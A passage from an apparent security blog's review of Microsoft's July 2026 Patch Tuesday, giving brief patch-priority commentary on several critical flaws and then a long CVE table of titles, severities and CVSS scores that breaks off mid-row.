traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  